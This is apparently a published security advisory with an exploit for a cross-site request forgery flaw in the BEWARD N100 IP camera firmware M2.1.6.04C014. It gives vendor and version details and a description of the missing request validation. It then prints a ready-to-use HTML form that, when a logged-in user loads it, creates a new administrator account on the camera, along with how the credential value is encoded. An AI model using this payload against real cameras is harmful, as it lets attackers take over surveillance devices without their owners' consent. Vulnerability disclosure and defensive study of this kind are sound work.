BEWARD N100 H.264 VGA IP Camera M2.1.6 - Cross-Site Request Forgery (Add Admin)
2019-02-05 22:05:36BEWARD N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Exploit
Vendor: Beward R&D Co., Ltd
Product web page: https://www.beward.net
Affected version: M2.1.6.04C014
Summary: The N100 compact color IP camera with support for a more efficient
compression format is optimized for low-speed networks, thanks to which it
transmits a real-time image over the network with minimal delays. The camera
supports the switching of the broadcast modes, and in the event of a break in
communication with the remote file storage, it can continue recording to the
microSDHC memory card. N100 is easy to install and configure, has all the
necessary arsenal for the organization of low-cost professional video surveillance
systems.
Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certai actions with administrative privileges
if a logged-in user visits a malicious web site.
Tested on: Boa/0.94.14rc21
Farady ARM Linux 2.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5510
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5510.php
26.01.2019
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<html>
<body>
<form action="http://TARGET/cgi-bin/admin/param">
<input type="hidden" name="action" value="add" />
<input type="hidden" name="group" value="General.UserID" />
<input type="hidden" name="template" value="UserID" />
<input type="hidden" name="General.UserID.U.User" value="dGVzdDp0ZXN0MTIz,01000001" />
<input type="submit" value="Send" />
</form>
</body>
</html>
Base64(test:test123) + ,01000001 for A (Admin) = dGVzdDp0ZXN0MTIz,01000001
Fixes
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